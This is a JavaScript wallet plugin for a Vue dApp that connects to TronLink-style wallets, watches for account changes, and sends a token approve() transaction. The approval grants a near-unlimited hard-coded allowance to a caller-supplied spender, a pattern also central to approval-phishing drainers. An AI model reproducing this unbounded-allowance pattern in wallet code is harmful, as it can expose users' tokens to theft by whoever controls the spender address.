/**
 * plugin/tron.js
 * 支持 TronLink、TokenPocket、Bitget DApp
 */

import { useUserStore } from '@/store/user'
import { showToast } from 'vant'
import { contractAddress } from './config'

/**
 * 检查 Tron 钱包是否可用
 */
export const check = async () => {
  return new Promise((resolve) => {
    if (window.tronWeb && window.tronWeb.ready) {
      resolve(true)
    } else {
      // 等待钱包注入事件
      window.addEventListener(
        'tronWeb#initialized',
        () => resolve(true),
        { once: true }
      )

      // 最长等待 1 秒钟
      setTimeout(() => {
        resolve(!!(window.tronWeb && window.tronWeb.ready))
      }, 1000)
    }
  })
}

/**
 * 连接钱包并返回账户信息
 */
export const connect = async () => {
  const result = { code: 200 }

  const isChecked = await check()
  if (!isChecked) {
    result.code = 500
    result.msg = 'Please install TronLink wallet and open this page inside it.'
    return result
  }

  try {
    const tronWeb = window.tronWeb

    // 兼容新版 TronLink（2024 后支持 requestAccounts）
    if (tronWeb.request && typeof tronWeb.request === 'function') {
      const accounts = await tronWeb.request({ method: 'tron_requestAccounts' })
      if (accounts && accounts.length) {
        result.data = { type: 'TRON', address: accounts[0] }
        return result
      }
    }

    // fallback：直接读取默认地址
    const address = tronWeb.defaultAddress?.base58
    if (!address) {
      result.code = 500
      result.msg = 'Wallet not connected or locked.'
    } else {
      result.data = { type: 'TRON', address }
    }
  } catch (error) {
    console.error('connectTRON error:', error)
    result.code = 500
    result.msg = error.message || 'Wallet connection failed.'
  }

  return result
}

/**
 * 初始化钱包账户切换监听
 */
export const initSwitchWalletEvent = async () => {
  const checked = await check()
  if (!checked) return

  const userStore = useUserStore()

  // 兼容新版 TronLink
  if (window.tronLink?.on) {
    window.tronLink.on('accountsChanged', (accounts) => {
      console.log('🔁 Tron 账户切换:', accounts)
      userStore.signOut()
      setTimeout(() => location.reload(), 300)
    })
  }

  // 旧版 TronLink (通过 window.message)
  window.addEventListener('message', (e) => {
    if (e.data?.message?.action === 'accountsChanged') {
      const newAddr = e.data.message.data?.address
      console.log('🔁 Tron 地址切换:', newAddr)
      userStore.signOut()
      setTimeout(() => location.reload(), 300)
    }
  })
}

/**
 * 授权合约
 * @param {string} spenderAddress 授权目标合约地址
 */
export const approve = async (spenderAddress) => {
  try {
    const connectRes = await connect()
    if (connectRes.code !== 200) {
      showToast(connectRes.msg)
      return null
    }

    const tronWeb = window.tronWeb
    if (!tronWeb) {
      showToast('TronLink wallet not found.')
      return null
    }

    const tokenAddr = contractAddress.TRON || contractAddress // 兼容配置
    const contract = await tronWeb.contract().at(tokenAddr)

    // 授权最大额度
    const amount = '99999999999999999999999999'

    const tx = await contract
      .approve(spenderAddress, amount)
      .send({ shouldPollResponse: false })

    console.log('✅ Tron 授权交易发送成功:', tx)
    return tx
  } catch (err) {
    console.error('approveTRON error:', err)
    showToast('Authorization failed.')
    return null
  }
}
